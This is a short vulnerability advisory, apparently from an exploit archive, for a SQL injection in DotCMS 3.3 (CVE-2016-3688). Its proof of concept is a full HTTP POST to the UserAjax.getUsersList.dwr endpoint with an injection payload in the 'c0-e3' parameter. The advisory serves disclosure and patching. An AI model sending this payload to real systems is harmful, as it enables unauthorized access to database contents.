DotCMS 3.3 SQL Injection

`1¡¢Description  
  
Exploit Title: SQL Injection Vulnerability in DotCms v3.3  
  
Date: 3-28-2016  
  
Vendor Homepage: http://dotcms.com/  
  
Vendor: dotcms  
  
Software: Content Management System  
  
Version: v3.3  
  
CVE:CVE-2016-3688  
  
  
  
  
  
2¡¢Product Summary  
  
================  
  
dotcms is a fully featured open source enterprise grade J2EE/Java based web content management system for building/managing websites, content and content driven web applications. it¡¯s specially designed for bridges the gap between PHP CMS and J2EE document management solutions. it include features such as support for virtual hosting, WebDav (beta), structured content, clustering and can run on multiple databases PostgreSQL, MySQL, MSSQL and Oracle. It also includes standard WCMS features like page caching, templating, and a API.  
  
  
  
3¡¢Vulnerabilities  
  
================  
  
A SQL injection vulnerability has been identified in dotCMS 3.3 which, if successfully exploited, could allow an attacker to access sensitive information in the dotcms database.   
  
Demo:(http://dotcms.com/content-management-system/cms-demo)  
  
  
  
The vulnerability is due to the dwr/call/plaincall/UserAjax.getUsersList.dwr ,¡°c0-e3¡±parameter  
  
  
  
Proof of concept  
  
================  
  
POST /dwr/call/plaincall/UserAjax.getUsersList.dwr   
  
callCount=1  
  
windowName=c0-param2  
  
c0-scriptName=UserAjax  
  
c0-methodName=getUsersList  
  
c0-id=0  
  
c0-param0=null:null  
  
c0-param1=null:null  
  
c0-e1=number:0  
  
c0-e2=number:50  
  
c0-e3=string:%25'%20and%201%3D1%20and%20'%25'%3D'  
  
c0-param2=Object_Object:{start:reference:c0-e1, limit:reference:c0-e2, query:reference:c0-e3}  
  
batchId=4  
  
instanceId=0  
  
page=%2Fc%2Fportal%2Flayout%3Fp_l_id%3Da8e430e3-8010-40cf-ade1-5978e61241a8%26p_p_id%3DEXT_USER_ADMIN%26p_p_action%3D0%26%26dm_rlout%3D1%26r%3D1459154302419  
  
scriptSessionId=jnMOli*Civ5bu2PIg2Z1YaOlYel/10irYel-hmv1Q$Yud  
  
  
  
  
  
  
4¡¢Discovered by  
  
================  
piaox xiong ¨C [email protected]  
`